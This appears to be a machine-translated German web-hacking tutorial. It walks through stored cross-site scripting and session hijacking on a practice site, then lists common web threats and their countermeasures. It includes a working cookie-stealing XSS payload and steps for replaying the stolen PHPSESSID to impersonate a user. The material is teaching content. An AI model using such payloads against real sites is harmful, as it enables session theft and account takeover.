Wie hackt man eine Website? Gängige Techniken zum Hacken von Websites
Website-Hacking-Techniken
Mehr Menschen haben Zugang zum Internet als je zuvor. Dies hat viele Organisationen dazu veranlasst, webbasierte Anwendungen zu entwickeln, die Benutzer online verwenden können, um mit der Organisation zu interagieren. Schlecht geschriebener Code für Webanwendungen kann ausgenutzt werden, um sich unbefugten Zugriff auf sensible Daten und Webserver zu verschaffen.
In diesem Tutorial erfahren Sie, wie man Websites hackt, und wir stellen Ihnen vor Techniken zum Hacken von Webanwendungen und Gegenmaßnahmen Sie können Maßnahmen ergreifen, um sich vor solchen Angriffen zu schützen.
So hacken Sie eine Website
In diesem praktischen Szenario zum Website-Hacking werden wir die Benutzersitzung der Webanwendung kapern, die sich unter befindet www.techpanda.org. Wir verwenden Cross-Site-Scripting, um die Cookie-Sitzungs-ID zu lesen und sie dann zu verwenden, um eine legitime Benutzersitzung vorzutäuschen.
Es wird davon ausgegangen, dass der Angreifer Zugriff auf die Webanwendung hat und die Sitzungen anderer Benutzer kapern möchte, die dieselbe Anwendung verwenden. Das Ziel dieses Angriffs könnte darin bestehen, Administratorzugriff auf die Webanwendung zu erhalten, vorausgesetzt, der Angreifer verfügt über ein eingeschränktes Zugriffskonto.
Schritt 1) URL öffnen http://www.techpanda.org/.
Für Übungszwecke wird dringend empfohlen, sich Zugriff über SQL Injection zu verschaffen. Siehe hierzu Artikel Weitere Informationen dazu finden Sie hier.
Schritt 2) Geben Sie die Anmeldedaten ein.
Die Login-E-Mail lautet admin@google.com, das Passwort ist Password2010.
Schritt 3) Überprüfen Sie das Dashboard.
Wenn Sie sich erfolgreich angemeldet haben, erhalten Sie das folgende Dashboard
Schritt 4) Geben Sie neuen Inhalt ein.
Klicken Sie auf „Neuen Kontakt hinzufügen“ und geben Sie als Vornamen Folgendes ein.
<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>
Schritt 5) Speichern Javascript.
Der obige Code verwendet JavaSkript. Es fügt einen Hyperlink mit einem Onclick-Ereignis hinzu. Wenn der ahnungslose Benutzer auf den Link klickt, ruft das Ereignis die ab PHP Cookie-Sitzungs-ID und sendet sie an die snatch_sess_id.php
Seite zusammen mit der Sitzungs-ID in der URL
Schritt 6) Details hinzufügen.
Geben Sie die restlichen Details wie unten gezeigt ein und klicken Sie auf Änderungen speichern
Schritt 7) Überprüfen Sie das Dashboard.
Ihr Dashboard sieht nun wie der folgende Bildschirm aus
Schritt 8) Überprüfen Sie die Sitzungs-ID.
Note: Das Skript könnte den Wert an einen Remote-Server senden, auf dem die PHPSESSID gespeichert ist, und der Benutzer wird dann zurück zur Website weitergeleitet, als ob nichts passiert wäre.
Note: Der Wert, den Sie erhalten, kann sich von dem auf dieser Webseite unterscheiden Hacking-Tutorial, aber das Konzept ist dasselbe
Sitzungsidentitätswechsel mit Firefox und Manipulationsdaten-Add-on
Das folgende Flussdiagramm zeigt die Schritte, die Sie ausführen müssen, um diese Übung abzuschließen.
- Sie müssen Firefox Webbrowser für diesen Abschnitt und Tamper Data-Add-on
- Öffnen Firefox und installieren Sie das Add-on wie in den Diagrammen unten gezeigt
- Suchen Sie nach Manipulationsdaten und klicken Sie dann wie oben gezeigt auf „Installieren“.
- Klicken Sie auf „Akzeptieren und installieren…“
- Klicken Sie auf Jetzt neu starten, wenn die Installation abgeschlossen ist
- Aktivieren Sie die Menüleiste in Firefox wenn es nicht angezeigt wird
- Klicken Sie auf das Menü „Extras“ und wählen Sie dann „Manipulationsdaten“ aus, wie unten gezeigt
- Sie erhalten das folgende Fenster. Hinweis: Wenn die Windows nicht leer ist, klicken Sie auf die Schaltfläche „Löschen“.
- Klicken Sie auf das Menü „Start Tamper“.
- Wechseln Sie zurück zu Firefox Webbrowser, Typ http://www.techpanda.org/dashboard.php Drücken Sie dann die Eingabetaste, um die Seite zu laden
- Sie erhalten das folgende Popup von Tamper Data
- Das Popup-Fenster bietet drei (3) Optionen. Mit der Option „Tamper“ können Sie die HTTP-Header-Informationen ändern, bevor sie an den Server übermittelt werden.
- Klicken Sie darauf,
- Sie erhalten das folgende Fenster
- Kopieren Sie die PHP-Sitzungs-ID Sie haben die Angriffs-URL kopiert und nach dem Gleichheitszeichen eingefügt. Ihr Wert sollte nun so aussehen
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- Klicken Sie auf die Schaltfläche OK
- Sie erhalten wieder das Popup-Fenster „Sabotagedaten“.
- Deaktivieren Sie das Kontrollkästchen „Manipulation fortsetzen?“
- Klicken Sie auf die Schaltfläche „Senden“, wenn Sie fertig sind
- Sie sollten das Dashboard wie unten gezeigt sehen können
Note: Wir haben uns nicht angemeldet, sondern eine Anmeldesitzung mit dem PHPSESSID-Wert vorgetäuscht, den wir mithilfe von Cross-Site-Scripting abgerufen haben
Was ist eine Webanwendung? Was sind Web-Bedrohungen?
Eine Webanwendung (auch Website genannt) ist eine Anwendung, die auf dem Client-Server-Modell basiert. Der Server stellt den Datenbankzugriff und die Geschäftslogik bereit. Es wird auf einem Webserver gehostet. Die Clientanwendung wird im Client-Webbrowser ausgeführt. Webanwendungen werden normalerweise in Sprachen wie geschrieben Java, C# und VB.Net, PHP, ColdFusion Markup Language usw. Zu den in Webanwendungen verwendeten Datenbank-Engines gehören MySQL, MS SQL Server, PostgreSQL, SQLite, usw.
Die besten Website-Hacking-Techniken
Die meisten Webanwendungen werden auf öffentlichen Servern gehostet, auf die über das Internet zugegriffen werden kann. Aufgrund der einfachen Erreichbarkeit sind sie daher anfällig für Angriffe. Im Folgenden sind häufige Bedrohungen für Webanwendungen aufgeführt.
- SQL Injection – Das Ziel dieser Bedrohung könnte darin bestehen, Anmeldealgorithmen zu umgehen, Daten zu sabotieren usw.
- Denial-of-Service-Angriffe– Das Ziel dieser Bedrohung könnte darin bestehen, legitimen Benutzern den Zugriff auf die Ressource zu verweigern
- Cross-Site-Scripting XSS– Das Ziel dieser Bedrohung könnte darin bestehen, Code einzuschleusen, der im clientseitigen Browser ausgeführt werden kann.
- Cookie-/Sitzungsvergiftung– Das Ziel dieser Bedrohung besteht darin, Cookies/Sitzungsdaten durch einen Angreifer zu ändern, um unbefugten Zugriff zu erhalten.
- Formularmanipulation – Das Ziel dieser Bedrohung besteht darin, Formulardaten wie Preise in E-Commerce-Anwendungen zu ändern, damit der Angreifer Artikel zu reduzierten Preisen erhalten kann.
- Code Injection – Das Ziel dieser Bedrohung besteht darin, Code wie PHP einzuschleusen. Pythonusw., die auf dem Server ausgeführt werden können. Der Code kann Hintertüren installieren, vertrauliche Informationen preisgeben usw.
- Verunstaltung– Das Ziel dieser Bedrohung besteht darin, die auf einer Website angezeigte Seite zu ändern und alle Seitenanforderungen auf eine einzige Seite umzuleiten, die die Nachricht des Angreifers enthält.
Wie schützen Sie Ihre Website vor Hacks?
Um sich vor Angriffen auf Webserver zu schützen, kann eine Organisation die folgende Richtlinie übernehmen.
- SQL Injection – Das Bereinigen und Validieren von Benutzerparametern vor der Übermittlung an die Datenbank zur Verarbeitung kann dazu beitragen, die Wahrscheinlichkeit eines Angriffs zu verringern SQL Injection. Datenbank-Engines wie MS SQL Server, MySQLusw. unterstützen Parameter und vorbereitete Anweisungen. Sie sind viel sicherer als herkömmliche SQL-Anweisungen
- Denial-of-Service-Angriffe – Firewalls können verwendet werden, um den Datenverkehr von verdächtigen IP-Adressen zu unterbinden, wenn es sich bei dem Angriff um einen einfachen DoS-Angriff handelt. Die richtige Konfiguration von Netzwerken und Intrusion-Detection-Systemen kann auch dazu beitragen, die Wahrscheinlichkeit eines Angriffs zu verringern DoS-Angriff erfolgreich gewesen.
- Cross-Site-Scripting – Die Validierung und Bereinigung von Headern, über die URL übergebenen Parametern, Formularparametern und versteckten Werten kann dazu beitragen, XSS-Angriffe zu reduzieren.
- Cookie-/Sitzungsvergiftung – Dies kann verhindert werden, indem der Inhalt der Cookies verschlüsselt wird, die Cookies nach einiger Zeit ablaufen und die Cookies mit der Client-IP-Adresse verknüpft werden, die für ihre Erstellung verwendet wurde.
- Formvergütung – Dies kann verhindert werden, indem die Benutzereingaben vor der Verarbeitung validiert und verifiziert werden.
- Code-Injektion – Dies kann verhindert werden, indem alle Parameter als Daten und nicht als ausführbarer Code behandelt werden. Um dies umzusetzen, können Sanitization und Validation eingesetzt werden.
- Verunstaltung – Eine gute Sicherheitsrichtlinie für die Entwicklung von Webanwendungen sollte sicherstellen, dass sie versiegelt wird Häufig genutzte Schwachstellen für den Zugriff auf den WebserverDies kann eine geeignete Konfiguration des Betriebssystems, der Webserver-Software und der besten Sicherheitspraktiken bei der Entwicklung von Webanwendungen sein.
Zusammenfassung
- Eine Webanwendung basiert auf dem Server-Client-Modell. Die Clientseite verwendet den Webbrowser, um auf die Ressourcen auf dem Server zuzugreifen.
- Webanwendungen sind in der Regel über das Internet zugänglich. Das macht sie anfällig für Angriffe.
- Zu den Bedrohungen für Webanwendungen gehören SQL-Injection, Code-Injection, XSS, Defacement, Cookie-Poisoning usw.
- Eine gute Sicherheitsrichtlinie bei der Entwicklung von Webanwendungen kann dazu beitragen, diese sicher zu machen.